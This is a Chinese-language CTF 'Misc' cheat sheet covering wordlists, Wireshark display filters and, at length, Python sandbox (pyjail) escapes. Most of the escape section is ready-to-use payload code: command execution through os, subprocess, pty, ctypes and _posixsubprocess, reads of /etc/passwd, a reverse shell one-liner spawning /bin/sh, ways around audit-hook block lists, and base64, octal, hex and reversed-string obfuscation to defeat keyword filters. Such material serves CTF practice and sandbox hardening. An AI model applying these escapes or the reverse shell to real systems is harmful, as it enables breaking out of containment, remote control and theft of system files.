Skip to content

Misc | 杂项

密码破解

字典攻击

Kali Linux 自带字典

终端输入wordlists,可以看到自带字典的具体路径。ls -al 查看/usr/share/wordlists,查看具体路径。

流量分析

Wireshark

PCAP 文件修复

对于有问题的流量文件,我们可以使用在线工具:http://f00l.de/hacking/pcapfix.php,快速地将其修复为 pcap 包,然后再用 Wireshark 打开进行分析。

常用显示过滤器

  • 协议
    • HTTP:http
    • FTP:ftp
    • DNS:dns
  • IP
    • 源地址为192.168.2.197:ip.src == 192.168.2.197
    • 目标地址为192.168.2.197:ip.dst == 192.168.2.197
    • 源地址或目标地址为192.168.2.197:ip.addr == 192.168.2.197
    • 源地址或目标地址属于网络192.168.1.0/24:ip.net == 192.168.1.0/24
  • TCP/UDP
    • 源端口为80:tcp.srcport == 80
    • 目标端口为80:tcp.dstport == 80
    • 源端口或目标端口为80:tcp.port == 80
    • UDP就把上边的tcp改为udp
  • MAC
    • 源MAC地址为00:11:22:33:44:55:eth.src == 00:11:22:33:44:55
    • 目标MAC地址为00:11:22:33:44:55:eth.dst == 00:11:22:33:44:55
    • 源MAC地址或目标MAC地址为00:11:22:33:44:55:eth.addr == 00:11:22:33:44:55
  • HTTP

    • url为https://www.bilibili.com/:http.request.uri == "https://www.bilibili.com/"
  • 内容(以UDP为例)

    • UDP 标头或有效负载中任意位置包含3 字节序列 0x81、0x60 0x03:udp contains 81:60:03
    • 匹配包含3 字节序列 0x81、0x60 0x03的数据包,在 UDP 有效负载的开头,跳过 8 字节 UDP 标头:udp[8:3]==81:60:03
    • HTTP url 中匹配 Perl正则表达式gl=se$http.request.uri matches "gl=se$"
  • 运算符
    • 等于:eq

Pyjail 沙箱逃逸

常见沙箱

exec 执行

exec(object, globals, locals)
  • object 必需参数,是一个字符串,或者是任何可以被 compile() 函数转化为代码对象的对象。
  • globals 可选参数,是一个字典,表示全局命名空间 (全局变量),如果提供了,则在执行代码中被用作全局命名空间。
  • locals 可选参数,可以是任何映射对象,表示局部命名空间 (局部变量),如果被提供,则在执行代码中被用作局部命名空间。如果两者都被忽略,那么在 exec() 调用的地方决定执行的命名空间。

exec 还有另外一种写法:

exec command in _global

其中 _global 为一个字典, 表示 command 将在 _global 指定的命名空间中运行。

eval 与 exec 的区别

eval 与 exec 的区别再于 exec 允许 \n 和 ; 进行换行,而 eval 不允许。并且 exec 不会将结果输出出来,而 eval 会。

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

如果加入了 compile 函数则需要按照 compile 函数的模式进行区分。

compile

compile() 函数是一个内置函数,它可以将源码编译为代码或 AST 对象。编译的源码可以是普通的 Python 代码,也可以是 AST 对象。如果它是一个普通的 Python 代码,那么它必须是一个字符串。如果它是一个 AST 对象,那么它将被编译为一个代码对象。

compile() 函数的基本语法如下:

compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)
  • source:要编译的源代码。它可以是普通的 Python 代码,或者是一个 AST 对象。如果它是普通的 Python 代码,那么它必须是一个字符串。
  • filename:源代码的文件名。如果源代码没有来自文件,你可以传递一些可识别的值。
  • mode:源代码的种类。可以是 ‘exec’,’eval’ 或 ‘single’。’exec’ 用于模块、脚本或者命令行,’eval’ 用于简单的表达式,’single’ 用于单一的可执行语句。
  • flags 和 dont_inherit:这两个参数用于控制编译源代码时的标志和是否继承上下文。它们是可选的。
  • optimize:用于指定优化级别。默认值为 -1。

mode 参数决定了如何编译输入的源代码。具体来说,它有三个可能的值: ‘exec’,’eval’ 和 ‘single’。

  • ‘exec’: exec 方式就类似于直接使用 exec 方法,可以处理换行符,分号,import语句等。
  • ‘eval’: eval 方式也就类似于直接使用 eval,只能处理简单的表达式,不支持换行、分号、import 语句
  • ‘single’:这个模式类似于 ‘exec’,但是它只用于执行单个语句(可以在语句中添加换行符等)。

基于 audit hook 的沙箱

Python 3.8 中引入的一种 audit hook 的新特性。审计钩子可以用来监控和记录 Python 程序在运行时的行为,特别是那些安全敏感的行为,如文件的读写、网络通信和动态代码的执行等。

sys.addaudithook(hook) 的参数 hook 是一个函数,它的定义形式为 hook(event: str, args: tuple)。其中,event 是一个描述事件名称的字符串,args 是一个包含了与该事件相关的参数的元组。

一旦一个审计钩子被添加,那么在解释器运行时,每当发生一个与安全相关的事件,就会调用该审计钩子函数。event 参数会包含事件的描述,args 参数则包含了事件的相关信息。这样,审计钩子就可以根据这些信息进行审计记录或者对某些事件进行阻止。

注意,由于 sys.addaudithook() 主要是用于增加审计和安全性,一旦一个审计钩子被添加,它不能被移除。这是为了防止恶意代码移除审计钩子以逃避审计。

举例来说,我们可以定义这样的一个审计钩子,使得每次触发 open 事件都会打印一条消息:

import sys

def audit_hook(event, args):
    if event == 'open':
        print(f'Opening file: {args}')

sys.addaudithook(audit_hook)

然后,如果运行 open('myfile.txt'),就会得到 Opening file: ('myfile.txt',) 这样的输出。

在一些沙箱的题目中也会使用这种方式,例如:

    ...
def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))
    ...
    sys.addaudithook(my_audit_hook)
if __name__ == '__main__':
    main()

这个沙箱对'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen' 这些函数进行了限制,一旦调用则抛出异常.

命令执行

timeit 模块

import timeit
timeit.timeit("__import__('os').system('ls')",number=1)

exec 函数

exec('__import__("os").system("ls")')

eval 函数

eval('__import__("os").system("ls")')

eval 无法直接达到执行多行代码的效果,使用 compile 函数并传入 exec 模式就能够实现。

eval(compile('__import__("os").system("ls")', '<string>', 'exec'))

platform 模块

import platform
platform.sys.modules['os'].system('ls')
platform.os.system('ls')

os模块

  • os.system
  • os.popen
  • os.posix_spawn
  • os.exec*
  • os.spawnv
import os
os.system('ls')
__import__('os').system('ls')

os.popen("ls").read()

os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ)

os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)

os.spawnv(0,"/bin/ls", ["/bin/ls", "-l"])

os.exec*()

import os

# os.execl
os.execl('/bin/sh', 'xx')
__import__('os').execl('/bin/sh', 'xx')

# os.execle
os.execle('/bin/sh', 'xx', os.environ)
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)

# os.execlp
os.execlp('sh', 'xx')
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)

# os.execlpe
os.execlpe('sh', 'xx', os.environ)
__import__('os').execlpe('sh', 'xx', __import__('os').environ)

# os.execv
os.execv('/bin/sh', ['xx'])
__import__('os').execv('/bin/sh', ['xx'])

# os.execve
os.execve('/bin/sh', ['xx'], os.environ)
__import__('os').execve('/bin/sh', ['xx'], __import__('os').environ)

# os.execvp
os.execvp('sh', ['xx'])
__import__('os').execvp('sh', ['xx'])

# os.execvpe
os.execvpe('sh', ['xx'], os.environ)
__import__('os').execvpe('sh', ['xx'], __import__('os').environ)

os.fork() with os.exec*()

(__import__('os').fork() == 0) and __import__('os').system('ls')

subprocess 模块

import subprocess
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()

# python2
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)

# python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
__import__('subprocess').Popen('whoami', shell=True)

pty模块

  • pty.spawn

仅限Linux环境

import pty
pty.spawn("ls")
__import__('pty').spawn("ls")

importlib 模块

import importlib
__import__('importlib').import_module('os').system('ls')
# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')

sys

该模块通过 modules() 函数获取 os 模块并执行命令。

import sys
sys.modules['os'].system('calc')

__builtins__ 利用

__builtins__: 是一个 builtins 模块的一个引用,其中包含 Python 的内置名称。这个模块自动在所有模块的全局命名空间中导入。当然我们也可以使用 import builtins 来导入

它包含许多基本函数(如 print、len 等)和基本类(如 object、int、list 等)。这就是可以在 Python 脚本中直接使用 print、len 等函数,而无需导入任何模块的原因。

我们可以使用 dir() 查看当前模块的属性列表. 其中就可以看到 __builtins__

内置的函数中 open 与文件操作相关,(python2 中为 file 函数)

__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

__builtins__除了读取文件之外还可以通过调用其 __import__ 属性来引入别的模块执行命令。

>>> __builtins__.__import__
<built-in function __import__>
>>> __builtins__.__import__('os').system('ls')

由于每个导入的模块都会留存一个 __builtins__ 属性,因此我们可以在任意的模块中通过__builtins__来引入模块或者执行文件操作。需要注意的是,__builtins__在模块级别和全局级别的表现有所不同。

在全局级别(也就是你在Python交互式解释器中直接查看__builtins__时),__builtins__实际上是一个模块<module '__builtin__' (built-in)>

在模块级别(也就是你在一个Python脚本中查看__builtins__),__builtins__是一个字典,这个字典包含了__builtin__模块中所有的函数和类。

因此,当通过其他模块的 __builtins__时,如__import__('types').__builtins__时,实际上看到的是一个字典,包含了所有的内建函数和类。此时调用的方式有所变化。

>>> __import__('types').__builtins__['__import__']
<built-in function __import__>

help 函数

help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh

以下面的环境为例

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助

𝘩𝘦𝘭𝘱()

然后输入 os,此时会进入 os 的帮助文档。

help> os

然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

help> os
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt
$ 

breakpoint 函数

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

>>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py  exp2.py  exp.py  flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt

ctypes

import ctypes

libc = ctypes.CDLL(None)
libc.system('ls ./'.encode())  # 使用 encode() 方法将字符串转换为字节字符串

沙箱中可以这么用:

__import__('ctypes').CDLL(None).system('ls /'.encode())

threading

利用新的线程来执行函数

import threading
import os

def func():
    os.system('ls')  # 在新的线程中执行命令

t = threading.Thread(target=func)  # 创建一个新的线程
t.start()  # 开始执行新的线程

写成一行:

# eval, exec 都可以执行的版本
__import__('threading').Thread(target=lambda: __import__('os').system('ls')).start() 

# exec 可执行
import threading, os; threading.Thread(target=lambda: os.system('ls')).start()

multiprocessing

import multiprocessing
import os

def func():
    os.system('ls') 

p = multiprocessing.Process(target=func) 
p.start()
__import__('multiprocessing').Process(target=lambda: __import__('os').system('ls')).start()

_posixsubprocess

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

结合 __loader__.load_module(fullname) 导入模块

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

反弹 shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")
s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(("127.0.0.1",12345));[__import__('os').dup2(s.fileno(),i) for i in range(3)];__import__('pty').spawn("/bin/sh")

读写文件

file 类

# Python2 
file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在

open 函数

open('/etc/passwd').read()
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

codecs 模块

import codecs
codecs.open('test.txt').read()

get_data 函数

FileLoader 类

# _frozen_importlib_external.FileLoader.get_data(0,<filename>)
"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")

相比于获取 __builtins__ 再使用 open 去进行读取,使用 get_data 的 payload 更短.

linecache 模块

getlines 函数

>>> import linecache
>>> linecache.getlines('/etc/passwd')
>>> __import__("linecache").getlines('/etc/passwd')

getline 函数需要第二个参数指定行号

__import__("linecache").getline('/etc/passwd',1)

license 函数

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

枚举目录

os 模块

import os
os.listdir("/")

__import__('os').listdir('/')

glob 模块

import glob
glob.glob("f*")

__import__('glob').glob("f*")

获取函数信息

python 中的每一个函数对象都有一个 __code__ 属性.这个__code__ 属性就是上面的代码对象,存放了大量有关于该函数的信息.

假设上下文存在一个函数

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    if some_input == var2:
        return "THIS-IS-THE-FALG!"
    else:
        return "Nope"

__code__ 属性包含了诸多子属性,这些子属性用于描述函数的字节码对象,下面是对这些属性的解释:

  • co_argcount: 函数的参数数量,不包括可变参数和关键字参数。
  • .co_cellvars: 函数内部使用的闭包变量的名称列表。
  • co_code: 函数的字节码指令序列,以二进制形式表示。
  • co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。
  • co_exceptiontable: 异常处理表,用于描述函数中的异常处理。
  • co_filename: 函数所在的文件名。
  • co_firstlineno: 函数定义的第一行所在的行号。
  • co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。
  • co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。
  • co_kwonlyargcount: 函数的关键字参数数量。
  • co_lines: 函数的源代码行列表。
  • co_linetable: 函数的行号和字节码指令索引之间的映射表。
  • co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。
  • co_name: 函数的名称。
  • co_names: 函数中使用的全局变量的名称列表。
  • co_nlocals: 函数中局部变量的数量。
  • co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。
  • co_posonlyargcount: 函数的仅位置参数数量。
  • co_qualname: 函数的限定名称,包含了函数所在的模块和类名。
  • co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。
  • co_varnames: 函数中局部变量的名称列表。

下面是一些使用示例:

获取源代码中的常量

可以使用 __code__.co_consts 这种方法进行获取, co_consts 可以获取常量.

>>> get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

获取变量

则可以使用如下的 payload 获取 get_flag 函数中的变量信息

__globals__

get_flag.__globals__

>>> get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

获取函数字节码序列

get_flag 函数的 .__code__.co_code, 可以获取到函数的字节码序列:

>>> get_flag.__code__.co_code
b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03|\x00|\x02k\x02\x00\x00\x00\x00r\x02d\x05S\x00d\x06S\x00'

字节码并不包含源代码的完整信息,如变量名、注释等。但可以使用 dis 模块来反汇编字节码并获取大致的源代码.

>>> bytecode = get_flag.__code__.co_code
>>> dis.dis(bytecode)
          0 RESUME                   0
          2 LOAD_CONST               1
          4 STORE_FAST               1
          6 LOAD_CONST               2
          8 STORE_FAST               2
         10 LOAD_CONST               3
         12 LOAD_CONST               4
         14 BUILD_LIST               2
         16 STORE_FAST               3
         18 LOAD_FAST                0
         20 LOAD_FAST                2
         22 COMPARE_OP               2 (==)
         28 POP_JUMP_FORWARD_IF_FALSE     2 (to 34)
         30 LOAD_CONST               5
         32 RETURN_VALUE
    >>   34 LOAD_CONST               6
         36 RETURN_VALUE

虽然能获取但不太方便看,如果能够获取 __code__ 对象,也可以通过 dis.disassemble 获取更清晰的表示.

>>> bytecode = get_flag.__code__
>>> dis.disassemble(bytecode)
  1           0 RESUME                   0

  2           2 LOAD_CONST               1 (1)
              4 STORE_FAST               1 (var1)

  3           6 LOAD_CONST               2 ('secretcode')
              8 STORE_FAST               2 (var2)

  4          10 LOAD_CONST               3 ('some')
             12 LOAD_CONST               4 ('array')
             14 BUILD_LIST               2
             16 STORE_FAST               3 (var3)

  5          18 LOAD_FAST                0 (some_input)
             20 LOAD_FAST                2 (var2)
             22 COMPARE_OP               2 (==)
             28 POP_JUMP_FORWARD_IF_FALSE     2 (to 34)

  6          30 LOAD_CONST               5 ('THIS-IS-THE-FALG!')
             32 RETURN_VALUE

  8     >>   34 LOAD_CONST               6 ('Nope')
             36 RETURN_VALUE

获取环境信息

获取 python 版本

sys 模块

import sys
sys.version

platform 模块

import platform
platform.python_version()

获取 linux 版本

platform 模块

import platform
platform.uname()

获取路径

sys.path
sys.modules

获取全局变量

globals 函数

globals 函数可以获取所有的全局变量。下面是一个例题,题目的目标就是获取 fake_key_var_in_the_local_but_real_in_the_remote 的值进入 backdoor 函数。这里使用 globals 就可以获取 fake_key_var_in_the_local_but_real_in_the_remote 的值。

#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

help 函数

help 函数也可以获取某个模块的帮助信息,包括全局变量, 输入 __main__ 之后可以获取当前模块的信息。

help> __main__

相比 globals() 而言 help() 更短,在一些限制长度的题目中有利用过这个点。

vars 函数

vars() 函数返回该对象的命名空间(namespace)中的所有属性以字典的形式表示。当前模块的所有变量也会包含在里面,一些过滤链 globals 和 help 函数的场景可以尝试使用 vars()

绕过删除模块或方法

在一些沙箱中,可能会对某些模块或者模块的某些方法使用 del 关键字进行删除。

reload 重新加载

reload 函数可以重新加载模块,这样被删除的函数能被重新加载

>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>

在 Python 3 中,reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块。

恢复 sys.modules

一些过滤中可能将 sys.modules['os'] 进行修改. 这个时候即使将 os 模块导入进来,也是无法使用的.

>>> sys.modules['os'] = 'not allowed'
>>> __import__('os').system('ls')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'

由于很多别的命令执行库也使用到了 os,因此也会受到相应的影响,例如 subprocess

>>> __import__('subprocess').Popen('whoami', shell=True)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 688, in <module>
    class Popen(object):
  File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 1708, in Popen
    def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,
AttributeError: 'str' object has no attribute 'WIFSIGNALED'

由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此我们只需要将 os 模块删除,然后再次导入即可.

sys.modules['os'] = 'not allowed' # oj 为你加的

del sys.modules['os']
import os
os.system('ls')

基于继承链获取

在清空了 __builtins__的情况下,我们也可以通过索引 subclasses 来找到这些内建函数。

# 根据环境找到 bytes 的索引,此处为 5
>>> ().__class__.__base__.__subclasses__()[5]
<class 'bytes'>

常用过滤绕过

关键词过滤

__builtins__ file 这些字符串如果被过滤了,就可以使用字符串变换的方式进行绕过。

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()

当然,如果过滤的是 __class__ 或者 __mro__ 这样的属性名,就无法采用变形来绕过了。

base64 变形

base64 也可以运用到其中

>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc')
0

逆序

>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
kali
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
kali

注意 exec 与 eval 在执行上有所差异。

进制转换

八进制:

exec("print('RCE'); __import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")

exp:

s = "eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])"
octal_string = "".join([f"\\{oct(ord(c))[2:]}" for c in s])
print(octal_string)

十六进制:

exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")

exp:

s = "eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))"
octal_string = "".join([f"\\x{hex(ord(c))[2:]}" for c in s])
print(octal_string)

" 双引号过滤

str 函数

如果过滤了引号,我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str() 函数获取字符串,然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。

>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
>>> str(().__class__.__new__)[21]
'w'
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'

chr 函数

也可以使用 chr 加数字来构造字符串

>>> chr(56)
'8'
>>> chr(100)
'd'
>>> chr(100)*40
'dddddddddddddddddddddddddddddddddddddddd'

list + dict

使用 dict 和 list 进行配合可以将变量名转化为字符串,但这种方式的弊端在于字符串中不能有空格等。

list(dict(whoami=1))[0]

__doc__

__doc__ 变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串:

().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]

bytes 函数

bytes 函数可以接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串

bytes([115, 121, 115, 116, 101, 109]).decode()

Other

pyc 文件

pycdc

./pycdc 文件名.pyc

uncompyle6

uncompyle6 -o test.py test.pyc

Stegosaurus

Stegosaurus 是一款隐写工具,它允许我们在 Python 字节码文件 (pyc 或 pyo) 中嵌入任意 Payload。由于编码密度较低,因此我们嵌入 Payload 的过程既不会改变源代码的运行行为,也不会改变源文件的文件大小。 Payload 代码会被分散嵌入到字节码之中,所以类似 strings 这样的代码工具无法查找到实际的 Payload。 Python 的 dis 模块会返回源文件的字节码,然后我们就可以使用 Stegosaurus 来嵌入 Payload 了。

原理是在 python 的字节码文件中,利用冗余空间,将完整的 payload 代码分散隐藏到这些零零碎碎的空间中。

$ stegosaurus -h
usage: stegosaurus.py [-h] [-p PAYLOAD] [-r] [-s] [-v] [-x] carrier

positional arguments:
  carrier               Carrier py, pyc or pyo file

optional arguments:
  -h, --help            show this help message and exit
  -p PAYLOAD, --payload PAYLOAD
                        Embed payload in carrier file
  -r, --report          Report max available payload size carrier supports
  -s, --side-by-side    Do not overwrite carrier file, install side by side
                        instead.
  -v, --verbose         Increase verbosity once per use
  -x, --extract         Extract payload from carrier file